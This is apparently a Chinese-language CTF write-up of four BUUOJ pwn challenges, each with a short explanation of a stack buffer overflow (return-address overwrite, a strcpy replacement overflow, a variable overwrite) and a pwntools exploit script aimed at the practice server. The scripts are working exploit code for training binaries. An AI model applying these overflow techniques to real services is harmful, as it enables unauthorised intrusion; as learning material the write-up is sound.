BUUOJ-pwn题解(一)

0x 01 rip

存在后门函数fun,覆盖返回地址为fun地址

exp:

1
2
3
4
5
from pwn import*
sh=remote('node3.buuoj.cn',29406)
payload='a'*23+p64(0x401186)
sh.sendline(payload)
sh.interactive()

0x 02 warmup_csaw_2016

存在后门函数

首先我们用cyclic创建一个200字符的字符串,利用它来判断溢出点到返回地址的偏移

启动dbg进行调试

由图可得,根据小端序,‘saaa‘之前有多少个字符,就是偏移量

exp:

1
2
3
4
5
6
from pwn import*
p=remote('node3.buuoj.cn',25478)
addr=0x40060d
payload='a'*72+p64(addr)
p.sendline(payload)
p.interactive()

0x 03 pwn1_sctf_2016

在输入点中可以输入32个字节的数据到0x3c空间,不存在溢出问题。

接着出现了字符串you、字符串I和replace函数,初步猜测是发生了替换操作,执行验证

替换过程为I=you,一个字节产生三个字节。

在替换完成后,使用了strcpy函数将替换后的数据拷贝到s中。这里可以构造溢出点。

通过输入21个I,然后替换成21个you,一共63个字节数据,然后任意填入一个字节数据,接着就填充满溢出空间,然后再劫持控制流EIP到利用点函数。

1
2
3
4
5
6
7
from pwn import *
p = remote('node3.buuoj.cn',28850)
flag_addr = 0x08048f0d
payload = 'I'*((0x3c+4-1)/3)+'R'+p32(flag_addr)
p.sendline(payload)
print p.recv()
p.close()

0x 04 ciscn_2019_n_1

就是一个简单的溢出让v2变成11.28125。v1是var_30,v2是var_4:

再看一下11.28125在程序中的表示:

也就是让v2变成41348000h,所以exp如下:

1
2
3
4
5
6
from pwn import *
p = remote('node3.buuoj.cn', 29263)
payload = '1' * 0x2c + p64(0x41348000)
p.recv()
p.sendline(payload)
p.interactive()